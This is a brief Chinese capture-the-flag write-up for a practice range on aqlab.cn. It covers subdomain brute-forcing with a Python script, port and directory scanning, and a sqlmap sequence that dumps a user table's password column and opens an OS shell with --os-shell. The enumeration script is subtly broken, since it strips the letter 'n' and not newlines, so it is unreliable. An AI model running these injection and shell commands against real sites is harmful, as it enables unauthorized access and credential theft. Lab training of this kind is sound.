旧靶场 - Kali系列【5题】

• 信息搜集之： 子域名探测
• 信息搜集：端口扫描
• 漏洞扫描 - web扫描器
• 注入测试-sqlmap
• Sqlmap --os-shell

flag在http://shop.aqlab.cn里

import requests

with open('D:/zuomian/ctf shiyan/dict.txt') as f:
    for i in f:
        ii=i.replace('n','')
        url = 'http://'+ii+'.aqlab.cn'
        try:
            data = requests.get(url)
            print(url)
        except requests.exceptions.ConnectionError:
            requests.status_code = "Connection refused"

http://www.aqlab.cn
http://pass2.aqlab.cn
http://shop.aqlab.cn
http://service.aqlab.cn

Process finished with exit code 0

flag:8001,上面有显示

用御剑扫/，得到flag

查库
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch --dbs

查cake的表
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch -D cake --tables
查user的字段
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch -D cake -T user --columns

查字段内容
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch -D cake -T user -C passwd --dump

得到shell
python sqlmap.py -u http://shop.aqlab.cn:8001/single.php?id=1 --batch --os-shell
type查看文件内容